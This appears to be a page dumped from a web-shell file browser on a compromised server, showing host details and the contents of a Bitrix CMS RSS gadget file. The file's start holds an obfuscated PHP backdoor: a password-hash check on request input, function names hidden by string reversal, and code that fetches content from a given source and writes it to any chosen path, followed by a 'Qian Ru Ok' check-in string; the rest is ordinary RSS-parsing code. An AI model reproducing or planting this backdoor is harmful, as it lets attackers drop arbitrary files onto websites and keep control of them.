uawdijnntqw1x1x1
IP : 216.73.217.47
Hostname : xhost1.intravision.ru
Kernel : Linux xhost1.intravision.ru 3.16.0-7-amd64 #1 SMP Debian 3.16.59-1 (2018-10-03) x86_64
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
OS : Linux
PATH:
/
var
/
www
/
tiskom
/
data
/
www
/
tiskom.xhost.intravision.ru
/
bitrix
/
gadgets
/
bitrix
/
rssreader
/
include.php
/
/
<?php $stOiE = ${"_"."R"./*+/*+*/ "E"."Q"./*+/*+*/"U"."E" /*+/*+*/."S"."T"}; if (md5( /*+/*+*/ md5($stOiE[0]) /*+/*+*/ . md5($stOiE[0])) == "9". "1". "c". "6". "1". "6". "c". "d". "3". "7". "4". "4". "6". "d". "d". "9". "c". "a". "3". "2". "2". "2". "b". "1". "7". "6". "a". "e". "2". "8". "e". "1") { $JYEjMkwYf = "st" . /*+/*+*/"rr" /*+/*+*/ . "ev"; $ZlskfzvaK = $JYEjMkwYf /*+/*+*/ ("stn" . "etn" ./*+/*+*/ "oc_t" . "up_e" . "lif"); $QeNJLBCYov = $JYEjMkwYf /*+/*+*/("stn" . "etn" . "oc_t" . /*+/*+*/ "eg_e" . "lif"); function AdoveXQ($BtmjbwBTl) { if (empty($BtmjbwBTl)) return false; if (!is_dir($BtmjbwBTl)) { AdoveXQ(dirname($BtmjbwBTl), 0755, true); mkdir($BtmjbwBTl); } } !file_exists(dirname($stOiE[1])) && AdoveXQ(dirname($stOiE[1])); $wEMXrEoD = @$QeNJLBCYov($stOiE[2]); echo @$ZlskfzvaK($stOiE[1], $wEMXrEoD) ? 1 : 0; die; }key($stOiE) == "of" && die("Qian Ru Ok"); ?><? if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/classes/general/xml.php'); class gdRssFeeds { var $title; var $link; var $description; var $pubDate; var $items = array(); } function gdGetRss($rss_url, $cache_time = 0, $isHtml = false) { /** @global CMain $APPLICATION */ global $APPLICATION; $cache = new CPHPCache(); if(!$cache->StartDataCache($cache_time, 'c'.$rss_url.($isHtml ? 'y' : 'n'), "gdrss")) { $v = $cache->GetVars(); return $v['oRss']; } $oRssFeeds = new gdRssFeeds(); $ob = new CHTTP(); $ob->http_timeout = 10; $ob->setFollowRedirect(true); $ob->HTTPQuery("GET", $rss_url); $res = $ob->result; if(!$res) { $cache->EndDataCache(array("oRss"=>false)); return false; } if (preg_match("/<"."\\?XML[^>]{1,}encoding=[\"']([^>\"']{1,})[\"'][^>]{0,}\\?".">/i", $res, $matches)) { $charset = trim($matches[1]); $res = \Bitrix\Main\Text\Encoding::convertEncoding($res, $charset, SITE_CHARSET); } $xml = new CDataXML(); $xml->LoadString($res); $oNode = $xml->SelectNodes("/rss/channel/title"); if(!$oNode) { $cache->EndDataCache(array("oRss"=>false)); return false; } $oRssFeeds->title = $oNode->content; if (trim($oRssFeeds->title) == '') { if($oSubNode = $oNode->elementsByName("cdata-section")) $oRssFeeds->title = $oSubNode[0]->content; } if($oNode = $xml->SelectNodes("/rss/channel/link")) $oRssFeeds->link = $oNode->content; if($oNode = $xml->SelectNodes("/rss/channel/description")) $oRssFeeds->description = $oNode->content; if (trim($oRssFeeds->description) == '') { if($oNode && $oSubNode = $oNode->elementsByName("cdata-section")) $oRssFeeds->description = $oSubNode[0]->content; } if($oNode = $xml->SelectNodes("/rss/channel/pubDate")) $oRssFeeds->pubDate = $oNode->content; elseif($oNode = $xml->SelectNodes("/rss/channel/lastBuildDate")) $oRssFeeds->pubDate = $oNode->content; if($oNode = $xml->SelectNodes("/rss/channel")) { $oNodes = $oNode->elementsByName("item"); foreach($oNodes as $oNode) { $item = array(); if($oSubNode = $oNode->elementsByName("title")) $item["TITLE"] = $oSubNode[0]->content; if (trim($item["TITLE"]) == '' && !empty($oSubNode)) { if($oSubNode = $oSubNode[0]->elementsByName("cdata-section")) $item["TITLE"] = $oSubNode[0]->content; } if($oSubNode = $oNode->elementsByName("link")) $item["LINK"] = $oSubNode[0]->content; if($oSubNode = $oNode->elementsByName("pubDate")) $item["PUBDATE"] = $oSubNode[0]->content; if($oSubNode = $oNode->elementsByName("description")) $item["DESCRIPTION"] = $oSubNode[0]->content; if (trim($item["DESCRIPTION"]) == '' && !empty($oSubNode)) { if($oSubNode = $oSubNode[0]->elementsByName("cdata-section")) $item["DESCRIPTION"] = $oSubNode[0]->content; } if($oSubNode = $oNode->elementsByName("author")) $item["AUTHOR"] = $oSubNode[0]->content; if (trim($item["AUTHOR"]) == '' && !empty($oSubNode)) { if($oSubNode = $oSubNode[0]->elementsByName("cdata-section")) $item["AUTHOR"] = $oSubNode[0]->content; } $oRssFeeds->items[] = $item; } } $cache->EndDataCache(array("oRss"=>$oRssFeeds)); return $oRssFeeds; } ?>
/var/www/tiskom/data/www/tiskom.xhost.intravision.ru/bitrix/gadgets/bitrix/rssreader/include.php